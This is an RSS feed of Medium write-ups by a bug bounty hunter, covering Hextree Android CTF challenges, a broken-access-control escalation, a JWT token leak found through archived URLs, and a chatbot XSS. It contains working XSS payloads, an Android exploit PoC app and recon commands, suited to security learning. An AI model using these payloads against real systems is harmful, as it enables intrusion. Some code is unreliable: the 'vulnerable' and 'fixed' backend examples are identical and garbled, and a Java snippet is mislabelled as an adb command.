<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohamed hamdy on Medium]]></title>
        <description><![CDATA[Stories by Mohamed hamdy on Medium]]></description>
        <link>https://medium.com/@mohammadalmeastro?source=rss-2b7a24f940e8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*TeKTZmvlgTrlZG3fSpmzcg.jpeg</url>
            <title>Stories by Mohamed hamdy on Medium</title>
            <link>https://medium.com/@mohammadalmeastro?source=rss-2b7a24f940e8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 13:17:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohammadalmeastro/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Intent to Native Code: Exploiting a WebView’s JavascriptInterface via XSS]]></title>
            <link>https://medium.com/@mohammadalmeastro/from-intent-to-native-code-exploiting-a-webviews-javascriptinterface-via-xss-8a1c1edff2e6?source=rss-2b7a24f940e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a1c1edff2e6</guid>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohamed hamdy]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 06:50:41 GMT</pubDate>
            <atom:updated>2025-11-05T06:52:29.728Z</atom:updated>
            <content:encoded><![CDATA[<h3>🙋‍♂️ About Me</h3><p>Hi, I’m Mohamed — a security researcher and bug bounty hunter and with a passion for uncovering real-world vulnerabilities that often go unnoticed. I’ve been acknowledged by organizations like NASA, the U.S. Department of the Treasury, and others in their Hall of Fame for reporting impactful security issues.</p><p>As someone learning Android security, I’m always looking for challenges that test my understanding of how components interact. Flag39 was a perfect example. I spent a good amount of time trying to solve this with a simple data: URI, but nothing worked. It was frustrating, but it forced me to re-read the code line by line. It was only when I stopped focusing on the JavascriptInterface and started looking at how the html file <em>built itself</em> that I had my &quot;aha!&quot; moment. This write-up documents my personal journey through this challenge, from initial confusion to final success.</p><h3>1. Initial Analysis: Re-reading the Code</h3><p>My initial frustration was a good sign. It meant I had missed a key detail. So, I went back to the source code for Flag39WebViewsActivity.java and the flag39.html file it loaded, determined to find the real attack vector.</p><h4>A. Flag39WebViewsActivity.java</h4><p>First, I examined the Java code. Three key areas stood out:</p><pre>first part <br>    class JsObject {<br>        @JavascriptInterface<br>        public void success() {<br>            Flag39WebViewsActivity.this.success();    <br>        }<br>    }</pre><pre>@Override<br>    protected void onCreate(Bundle bundle) throws JSONException {<br>        // ...<br>        String stringExtra = getIntent().getStringExtra(&quot;NAME&quot;); // <br>        <br>        final WebView webView = (WebView)        <br>   findViewById(C0975R.id.main_webview); <br>        <br>        webView.setWebViewClient(new WebViewClient() {<br>            @Override<br>            public void onPageFinished(WebView webView2, String str) {<br>                <br>                webView.evaluateJavascript(&quot;initApp(&quot; +            }<br>        });<br>        webView.getSettings().setJavaScriptEnabled(true);<br>        webView.addJavascriptInterface(new JsObject(), &quot;hextree&quot;); <br>        webView.loadUrl(&quot;file:///android_asset/flag39.html&quot;); <br>        <br>        if (stringExtra == null) {<br>            stringExtra = &quot;Neo&quot;;<br>        }<br>        jSONObject.put(FlagDatabaseHelper.COLUMN_NAME, stringExtra);<br>        <br>    }<br>   <br>    public void success() {<br>        Intent intent = new Intent();<br>        intent.setClass(this, Flag39Activity.class);<br>        intent.putExtra(&quot;secret&quot;, secret);<br>        startActivity(intent);<br>    }<br>}</pre><p>My observations from the Java code:</p><ul><li><strong>(1) It takes input:</strong> The activity accepts a string named &quot;NAME&quot; from the Intent that starts it.</li><li><strong>(4) It’s a closed environment:</strong> The WebView <em>only</em> loads file:///android_asset/flag39.html. This is why my data: URI failed. The &quot;bridge&quot; is only exposed to <em>this specific file</em>.</li><li><strong>(2) It passes the input:</strong> The &quot;NAME&quot; string is put into a JSONObject and sent to the initApp() JavaScript function <em>after</em> the page finishes loading.</li><li><strong>(3) The bridge is real:</strong> The &quot;hextree&quot; bridge exists, and its success() method is my goal.</li></ul><p>This was my “aha!” moment. I couldn’t <em>change</em> the page, but I could <em>influence</em> it. The attack vector wasn’t the loadUrl call, it was the evaluateJavascript call. My focus now shifted to the HTML file.</p><h4>B. flag39.html</h4><p>Next, I examined the JavaScript inside flag39.html to see what the initApp() function did with my input.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;!-- ... --&gt;<br>    &lt;title&gt;Flag39 WebView Demo&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Flag39 WebView Demo&lt;/h1&gt;<br>&lt;div id=&quot;hello_name&quot;&gt;loading...&lt;/div&gt;<br>&lt;script&gt;<br>function initApp(obj) {<br>    console.log(JSON.stringify(obj));<br>    window.hello_name.innerHTML = `Hello &lt;b&gt;${obj.name}&lt;/b&gt;`; <br>}<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The instant I saw innerHTML with a template string (``) directly inserting ${obj.name}, I knew I had found it.</p><ul><li>The initApp function takes the JSON object from the Java code.</li><li>It grabs the name property.</li><li>It injects this name string directly into the page&#39;s HTML.</li></ul><p>This is a classic DOM-based Cross-Site Scripting (XSS) vulnerability. The application was passing my “untrusted” Intent string directly to an &quot;unsafe&quot; JavaScript function.</p><p>Now I had a plan. I didn’t need to load a new page; I just needed to craft a &quot;NAME&quot; string that would break out of the &lt;b&gt; tag and execute its own JavaScript.</p><h3>2. Crafting the Payload: From XSS to Native Code</h3><p>Now that I had a clear plan, the final step was to craft the payload.</p><p>My goal was to create a string for the &quot;NAME&quot; extra that, when injected into innerHTML, would execute the JavaScript window.hextree.success().</p><p>My first idea was to use a simple &lt;script&gt; tag: &quot;NAME&quot; = &quot;&lt;script&gt;window.hextree.success()&lt;/script&gt;&quot;</p><p>This is a common approach, but it often fails. Many modern WebView components and browsers have security measures that prevent &lt;script&gt; tags injected via innerHTML from executing.</p><p>A much more reliable and clever method for innerHTML injection is to use event handlers. An &lt;img&gt; tag is perfect for this.</p><h4>The onerror Payload</h4><p>I decided to use an &lt;img&gt; tag and trigger its onerror event. This event fires automatically if the image source (src) is invalid, which is something I can easily control.</p><p>Here is the payload I built:</p><pre>Neo&lt;img src=x onerror=window.hextree.success()&gt;</pre><p>Let’s break down why this is so effective:</p><ul><li><strong>Neo</strong>: This is just some harmless text to make the payload look legitimate.</li><li><strong>&lt;img src=x</strong>: This is the HTML that gets injected. The browser will try to render an image with a source of &quot;x&quot;.</li><li><strong>Failure is Guaranteed</strong>: Since &quot;x&quot; is not a valid image or URL, the browser will fail to load it.</li><li><strong>The </strong><strong>onerror Trigger</strong>: As soon as the browser fails, it looks for an onerror event handler to execute.</li><li><strong>window.hextree.success()</strong>: It finds our code and runs it. The window.hextree.success() function is called, which crosses the JavascriptInterface bridge and executes the native Java success() method.</li></ul><h3>3. Executing the Attack</h3><p>With the payload ready, the final step was to send it to the vulnerable activity. This can be done from another Android application or, more simply, using the Android Debug Bridge (adb) from a terminal.</p><p>The adb command to launch an activity with an extra string is:</p><pre>    homeButton.setOnClickListener(view -&gt; <br>            Intent flag38 = new Intent();<br>            flag38.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.webviews.Flag39WebViewsActivity&quot;);<br>            flag38.putExtra(&quot;NAME&quot;, &quot;panda&lt;img src=x onerror=window.hextree.success()&gt;&quot;);<br>            startActivity(flag38);<br>        });</pre><p>As soon as this command is run:</p><ol><li>The Flag39WebViewsActivity opens on the device.</li><li>It loads flag39.html.</li><li>It passes our malicious payload to initApp().</li><li>The innerHTML vulnerability is triggered.</li><li>The onerror event fires, calling hextree.success().</li><li>The native success() function in Java is executed, and the Flag39Activity appears with the secret.</li></ol><p><strong>Success!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*-ctXP4-ysaC3g7o2aDKFBw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a1c1edff2e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flag 8 & 9 — Hextree CTF: Exploiting Exported Components and Services]]></title>
            <link>https://medium.com/@mohammadalmeastro/flag-8-9-hextree-ctf-exploiting-exported-components-and-services-dc57cd199619?source=rss-2b7a24f940e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc57cd199619</guid>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Mohamed hamdy]]></dc:creator>
            <pubDate>Thu, 02 Oct 2025 08:42:21 GMT</pubDate>
            <atom:updated>2025-10-02T09:38:57.755Z</atom:updated>
            <content:encoded><![CDATA[<h3>Flag 8 &amp; 9 — Exploiting Exported Components in Hextree CTF</h3><h4><strong>If you are not Muslim, please read about Islam</strong></h4><h4>الحمد لله الذي علّم بالقلم، علّم الإنسان ما لم يعلم. وأسأله سبحانه أن يجعل هذا العمل خالصًا لوجهه، نافعًا في الدنيا والآخرة.</h4><p>Today we will walk through the exact steps I followed to extract <strong>Flag 8</strong> and <strong>Flag 9</strong> from the Hextree Android app — from setting up the environment and static reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*8xoHJcr66RXPtjo-UrL0cA.png" /><figcaption>our target</figcaption></figure><p>### Flag 8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Ulbi0NwxRbXfMjL1ecSoQ.png" /></figure><p>.Reverse engineering</p><p>what is the ComponentName:Identifier for a specific application component (<a href="https://developer.android.com/reference/android/app/Activity">Activity</a>, <a href="https://developer.android.com/reference/android/app/Service">Service</a>, <a href="https://developer.android.com/reference/android/content/BroadcastReceiver">BroadcastReceiver</a>, or <a href="https://developer.android.com/reference/android/content/ContentProvider">ContentProvider</a>) that is available. Two pieces of information, encapsulated here, are required to identify a component: the package (a String) it exists in, and the class (a String) name inside of that package.</p><pre>ComponentName callingActivity = getCallingActivity();</pre><blockquote><em>ComponentName:</em> that describes the component that invoked the current component , for example the Class name,package name</blockquote><blockquote><strong>getCallingActivity() : </strong>is an Android Activity method that returns the ComponentName of the activity that launched the current activity. This method is particularly useful when the current activity was started using startActivityForResult(), as it identifies the activity that will receive the result data.</blockquote><p><em>startActivityForResult() :</em>is a method in Android used to launch another Activity and receive a result back from it. This method was traditionally used for scenarios where one activity needed to get data or a status from a subsequent activity.</p><p>startActivity() :method in Android is used to launch a new activity. This method takes an Intent object as a parameter, which specifies the activity to be launched and any data to be passed to it.</p><ul><li>startActivity() → just open another activity (one-way).</li><li>startActivityForResult() → open another activity <strong>and</strong> wait for a result back (two-way).</li></ul><h3>Summrize all the code</h3><p>After reverse-engineering the app I found an if check that controls access to the flag. The activity calls getCallingActivity() and only proceeds if the reported caller is non-null and its class name contains &quot;Hextree&quot;. If that condition passes, the activity puts the flag into an Intent extra and returns it. Note that adding a ComponentName as an Intent extra does <strong>not</strong> affect getCallingActivity(), and invoking the activity directly (for example via adb) or otherwise leaving the caller information empty allows an attacker to bypass this check.</p><p>Let’s exploit:</p><pre>public class HextreeEntryActivity extends AppCompatActivity {<br>    private static final String TAG = &quot;EntryActivity_matched&quot;;<br><br>    private static final String TARGET_PACKAGE = &quot;io.hextree.attacksurface&quot;;<br>    private static final String FINAL_TARGET_ACTIVITY = &quot;io.hextree.attacksurface.activities.Flag9Activity&quot;;<br><br>    private static final String SPOOFING_KEY = &quot;caller&quot;;<br>    private static final String SPOOFED_CLASS = &quot;io.hextree.attacksurface.SomeHextreeComponent&quot;;<br><br><br>    private static final int REQUEST_CODE_FLAG8 = 808;<br><br>    private Button btnSendIntent;<br>    private TextView tvStatus;<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main); <br>        btnSendIntent = findViewById(R.id.btn_send_intent);<br>        tvStatus = findViewById(R.id.tv_status);<br><br>        tvStatus.setText(&quot;STRATEGY: Flag8 + Spoofing Caller (&#39;&quot; + SPOOFED_CLASS + &quot;&#39;).&quot;);<br><br>        btnSendIntent.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                tvStatus.setText(&quot;Attempting exploit: launching Flag8Activity with spoof extra...&quot;);<br>                Log.d(TAG, &quot;Preparing exploit Intent to &quot; + FINAL_TARGET_ACTIVITY);<br><br>                Intent exploitIntent = new Intent();<br>                exploitIntent.setClassName(TARGET_PACKAGE, FINAL_TARGET_ACTIVITY);<br><br>                ComponentName spoofedCaller = new ComponentName(TARGET_PACKAGE, SPOOFED_CLASS);<br>                exploitIntent.putExtra(SPOOFING_KEY, spoofedCaller);<br><br>                Log.d(TAG, &quot;Put extra &#39;&quot; + SPOOFING_KEY + &quot;&#39; = &quot; + spoofedCaller.flattenToString());<br><br>                try {<br>                    startActivityForResult(exploitIntent, REQUEST_CODE_FLAG8);<br>                    tvStatus.setText(&quot;Attempt sent via startActivityForResult. Check target behavior / logcat.&quot;);<br>                } catch (Exception e) {<br>                    String errorMsg = &quot;Launch FAILED. Activity missing, not exported, or permission denied.&quot;;<br>                    Log.e(TAG, errorMsg, e);<br>                    tvStatus.setText(errorMsg);<br>                }<br>            }<br>        });<br>    }<br><br>    @Override<br>    protected void onActivityResult(int requestCode, int resultCode, Intent data) {<br>        super.onActivityResult(requestCode, resultCode, data);<br><br>        if (requestCode == REQUEST_CODE_FLAG8) {<br>            if (resultCode == RESULT_OK) {<br>                tvStatus.setText(&quot;Flag8 returned RESULT_OK&quot;);<br>            } else if (resultCode == RESULT_CANCELED) {<br>                tvStatus.setText(&quot;Flag8 returned RESULT_CANCELED (likely access denied)&quot;);<br>            } else {<br>                tvStatus.setText(&quot;Flag8 returned code: &quot; + resultCode);<br>            }<br><br>            Log.i(TAG, &quot;onActivityResult: request=&quot; + requestCode + &quot; result=&quot; + resultCode + &quot; intent=&quot; + data);<br><br>            if (data != null &amp;&amp; data.hasExtra(&quot;flag&quot;)) {<br>                String flag = data.getStringExtra(&quot;flag&quot;);<br>                Log.i(TAG, &quot;FLAG received: &quot; + flag);<br>                tvStatus.setText(&quot;FLAG: &quot; + flag);<br>            }<br>        }<br>    }<br>}</pre><p>run you app on Android emulator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*hR04eTdCLgAcltsGZb9wVw.png" /></figure><p><strong>The PoC successfully retrieved the flags</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*JmcElZDmtr4k4TqgQjEHfA.png" /></figure><p>at the end flag8 and flag9 has same solution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*UP6NkpijZHynxb-vlPP_1A.png" /></figure><h3>Responsible disclosure &amp; notes</h3><p>This write-up is for educational purposes and to illustrate secure coding practices. If you are a developer responsible for an app with similar issues, fix the manifest and implement signature checks as shown above. If you discovered a vulnerability in a third-party app, follow responsible disclosure procedures: report to the vendor with PoC and remediation suggestions, and avoid public disclosure until the issue is fixed.</p><p>Thanks,</p><p><a href="https://www.linkedin.com/in/mohamed-hamdy-a7305225b/">Linkden</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc57cd199619" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Missing Check, One Gained Privilege: A Quiet but Dangerous Escalation]]></title>
            <link>https://medium.com/@mohammadalmeastro/one-missing-check-one-gained-privilege-a-quiet-but-dangerous-escalation-5b15dd20cad4?source=rss-2b7a24f940e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b15dd20cad4</guid>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Mohamed hamdy]]></dc:creator>
            <pubDate>Sat, 10 May 2025 15:13:36 GMT</pubDate>
            <atom:updated>2025-05-17T17:19:21.972Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*BzJ5E-s26m34uwV6awIKmg.gif" /></figure><h3>🙋‍♂️ About Me</h3><p>Hi, I’m Mohamed — a security researcher and bug bounty hunter with a passion for uncovering real-world vulnerabilities that often go unnoticed. I’ve been acknowledged by organizations like NASA, the U.S. Department of the Treasury, and others in their Hall of Fame for reporting impactful security issues.</p><p>I focus on:</p><ul><li>Web application security</li><li>Logic flaws and privilege escalations</li><li>Real-world exploitation scenarios</li><li>Responsible disclosure and ethical hacking</li></ul><p>In this write-up, I’ll walk you through how a small misconfiguration led to an unintended privilege escalation — showing how <strong>“small bugs”</strong> can often lead to <strong>big consequences</strong>.</p><h3>Let’s start now ..</h3><p>In the mentioned “<a href="http://target.com/">target.com</a>,” you have two roles inside your organization: owner and normal user. Okay, so I’m thinking of testing BAC bugs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiyOyXIO4QYRmk5AvUAVQg.jpeg" /></figure><p>Now, as you see, the victim has given the attacker complete access to any features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6zIhtbmkQ8Ev8ALnzF2lCA.jpeg" /></figure><p>Now the attacker have access to create tickets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJh7uD9Wk6klSP1xPE2k6Q.jpeg" /></figure><p>attacker intercepted the request in Burp Suite to create tickets.</p><p>So I’m thinking if I restrict the attacker’s access to my organization’s features, what will happen?</p><p><strong><em>I will test privilege escalation.</em></strong></p><p>From the victim’s account, go to restrict the access of the attacker to my org features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*uGLtJb6p4s1jv2RH_1dhXw.png" /></figure><p><strong><em>attacker:What are we going to do now, my god?</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*NalDGpY_ScS4fmECo5sbUQ.gif" /></figure><p>No No We have our saved request in the burp suit, so don’t worry, buddy.</p><p>Send our request again after the owner restricts my access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0k7h6kQFuqYtBhz_kyOfA.jpeg" /></figure><p>It’s successful work tips for you if the UI said No, maybe the backend said yes why this happen:</p><p>Excellent question — this is a <strong>classic BAC bug</strong> scenario and it usually happens due to a disconnect between <strong>frontend validation</strong> and <strong>backend authorization</strong>.</p><p>Let me explain exactly why this happens:</p><h3>🧠 Why UI says “you can’t”, but Burp request works anyway</h3><p><strong>Frontend Restriction (Client-side Check)</strong>:</p><ul><li>The <strong>JavaScript/frontend</strong> checks the user’s role (e.g., normal) and hides UI elements or shows &quot;Access Denied&quot; messages.</li><li>Example: The button to create an tickets might be hidden from a normal user in the UI.</li><li><strong>Backend Weak Authorization (Server-side Failure)</strong>:</li></ul><p>. The backend <strong>does not enforce proper authorization</strong> based on role.</p><p>.So when the attacker sends the request <strong>directly via Burp</strong>, the backend doesn’t check that the request is from a normal user, and it <strong>processes it successfully</strong>.</p><p><strong>🔍 Issues from the Backend Perspective (BAC Bugs)</strong></p><h3>Here’s a <strong>clear summary</strong> explaining <strong>why the privilege escalation happened</strong>, along with the root cause and backend source logic:</h3><h3>🛑 Summary: Why the Privilege Escalation Happened</h3><p>The privilege escalation occurred because the backend API endpoint <strong>did not implement proper authorization checks</strong>. Although the frontend UI prevented normal users from performing owner-only actions (like deleting an organization), the backend failed to <strong>validate the user’s role or ownership</strong> when it received a direct HTTP request (e.g., via Burp Suite).</p><h3>🔍 Root Cause from the Backend Perspective</h3><p><strong>Missing backend validation.</strong> The server code allowed any authenticated user to call sensitive endpoints without verifying:</p><ul><li>Whether the user had the correct role (e.g., owner),</li><li>Whether the user had ownership of the target resource (e.g., org.id).</li></ul><h3>🧩 Example Source (Vulnerable Backend Code)</h3><pre>// ❌ No authorization check<br>app.delete(&#39;/org/:id&#39;, async (req, res) =&gt; {<br>  const org = await Organization.findById(req.params.id);<br><br>  if (!org || org.ownerId.toString() !== req.user.id) {<br>    return res.status(403).send(&#39;Forbidden&#39;);<br>  }<br><br>  await org.remove();<br>  res.send(&#39;Organization deleted&#39;);<br>});</pre><p>This code deletes the organization <strong>without checking</strong>:</p><ul><li>if req.user is the owner of the org,</li><li>or even if the user is allowed to delete anything at all.</li></ul><h3>✅ What Should Have Happened (Proper Validation)</h3><pre><br>app.delete(&#39;/org/:id&#39;, async (req, res) =&gt; {<br>  const org = await Organization.findById(req.params.id);<br><br>  if (!org || org.ownerId.toString() !== req.user.id) {<br>    return res.status(403).send(&#39;Forbidden&#39;);<br>  }<br><br>  await org.remove();<br>  res.send(&#39;Organization deleted&#39;);<br>});app.delete(&#39;/org/:id&#39;, async (req, res) =&gt; {<br>  const org = await Organization.findById(req.params.id);</pre><p>Understood. Here’s what happens, step by step, without code:</p><ol><li>The server receives a request to delete an organization by its ID.</li><li>It looks up the organization in the database.</li><li>If the organization doesn’t exist, or the user making the request isn’t the owner of that organization, the server denies access (403 Forbidden).</li><li>If the user <strong>is</strong> the owner, the server deletes the organization from the database.</li><li>Finally, the server sends a response confirming the deletion.</li></ol><h3>🧠 Conclusion</h3><p>The privilege escalation was possible because the <strong>backend trusted the request without verifying the user’s permissions</strong>. This is a classic <strong>Broken Access Control (BAC)</strong> vulnerability, specifically a <strong>vertical privilege escalation</strong>, where a low-privilege user can perform high-privilege actions due to <strong>missing role checks on the server.</strong></p><p>finally it’s accepted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*o121NkahmxPzCitRSLgWjg.jpeg" /></figure><p>i’m waiting customer to reward me</p><p>follow me bro</p><blockquote>https://www.linkedin.com/in/mohamed-hamdy-a7305225b/</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b15dd20cad4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found my first critical bug PII Exposure Leading to User Information Disclosure (Email, Name…]]></title>
            <link>https://medium.com/@mohammadalmeastro/how-i-found-my-first-critical-bug-d30d42024f92?source=rss-2b7a24f940e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/d30d42024f92</guid>
            <dc:creator><![CDATA[Mohamed hamdy]]></dc:creator>
            <pubDate>Fri, 11 Oct 2024 19:17:13 GMT</pubDate>
            <atom:updated>2024-12-15T10:48:41.638Z</atom:updated>
            <content:encoded><![CDATA[<h3>How i found my first critical bug <strong>PII Exposure </strong>Leading to User Information Disclosure (Email, Name, and ID)</h3><p>السلام عليكم</p><p>If you are not Muslim, please read about Islam.</p><p>Hi, bros Offering myself as an amateur bug bounty hunter and pentetriation testing, my name is Mohamed, and I am going to show how I found PII disclosure in one of the most unknowing bug bounty programs via the bugcrowd platform.</p><p>let’s get started</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*_jztywQkXTJ4yyG8Nz-CBA.gif" /></figure><h3>Before the Hunt</h3><p>Before one weak I got notification, there was new domain added to the program: the company that develops products for software developers and project managers, among other groups.</p><h3>Disscusing how I found the bug</h3><p>When you started at the target, you should have your own method to hunt. Don’t start without hunting on every clinet side and several sides at the same time.so,I stared and just focused on the sing_up page. What you can test on the sing_up page is that there are more features to test, such as host header injection, no rate limit, and BayBass email verification,etc.</p><p>I signed as a normal user, and I got an email to verify my account. It’s about JWT.</p><h3>What are JWTs?</h3><p>JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information (“claims”) about users as part of authentication, session handling, and access control mechanisms.</p><p>Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.</p><p>After getting the JWT, I’m thinking of decoding the hashed value. I visit the website “https://jwt.one/.” and my token changed every time I tried after signing in to see if I’m able to get access control, but nothing worked; it took much more time to search, so I’m if I can get a valid token leaked. I got the url of the page of singed_in</p><p>and go wayback and gau</p><p>| echo “exampel.com” | gau | anew gau.txt</p><p>| echo “calguard.ca.gov” | waybackurls | anew waybackurls.txt</p><p>i got very good result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bl8Pt42uGznqTwhoesY37A.jpeg" /><figcaption>token leaked</figcaption></figure><p>the number of token leaked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*8zgU5KsrgttKXhHWKTTAiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*Aa08279oLhqWB52vDHwoLA.jpeg" /></figure><p>the credintials that leaked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*2xRAvRNhpAh2jBFq4fYnHQ.png" /></figure><p>I reported this issue to the security team throuht bugcrowd</p><p>and i got duplicate</p><p>please follow me to get more tips soon</p><p><a href="https://www.linkedin.com/in/mohamed-hamdy-a7305225b/">https://www.linkedin.com/in/mohamed-hamdy-a7305225b/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d30d42024f92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I got XSS just fire when opening chat bot in half an hour]]></title>
            <link>https://medium.com/@mohammadalmeastro/how-i-got-xss-just-fire-when-opening-chat-bot-in-half-an-hour-5d5916d4ca7d?source=rss-2b7a24f940e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d5916d4ca7d</guid>
            <dc:creator><![CDATA[Mohamed hamdy]]></dc:creator>
            <pubDate>Sun, 06 Oct 2024 19:06:32 GMT</pubDate>
            <atom:updated>2024-10-07T07:12:15.386Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم</p><p>Hi there! My name is mohamed, and I’m a Security Researcher. I’m going to share my first blog how I am able to get XSS in the chatbot . So without wasting more time makes it possible to begin.</p><p>when i exploring programs i found program has big scop so it’s via domain “example.com” okay,lets get started when i sign as a normal user i found something interesting While surfing on the site I came across the Chatbot, There is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*1Pq4ozLQnkMja6xToY4I9w.png" /></figure><p>So when I clicked, it opened the chat Box support so I filled out the main</p><p>I found this endpoint. I changed my profile and injected every where ssti bot, but nothing worked.</p><p>so don’t give-up i’m thinking about xss i’m inject this payload in first name and last name filed</p><p>&lt;button onClick=”alert(document.cookie)”&gt;Submit&lt;/button&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*5z0Ryv6pHSUE22eQvKlkXw.gif" /></figure><p>finally i got the xss</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXmj64XmoMKZlSK6f4-0FA.jpeg" /></figure><p>this xss pop up when open chat not via chat okay because the chat in the header as the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*DPjCxWcZ8JIOh7wONmCpcQ.jpeg" /><figcaption>My name appears as</figcaption></figure><p><strong>Conclusion</strong></p><p>This article covered cross-site scripting and how it can affect websites which contain the chatbot. These attacks are caused by user-generated data and so the solution is to be able to filter the data before sending them to the server and vice-versa.</p><p>linked account: <a href="https://www.linkedin.com/in/mohamed-hamdy-a7305225b/">https://www.linkedin.com/in/mohamed-hamdy-a7305225b/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d5916d4ca7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>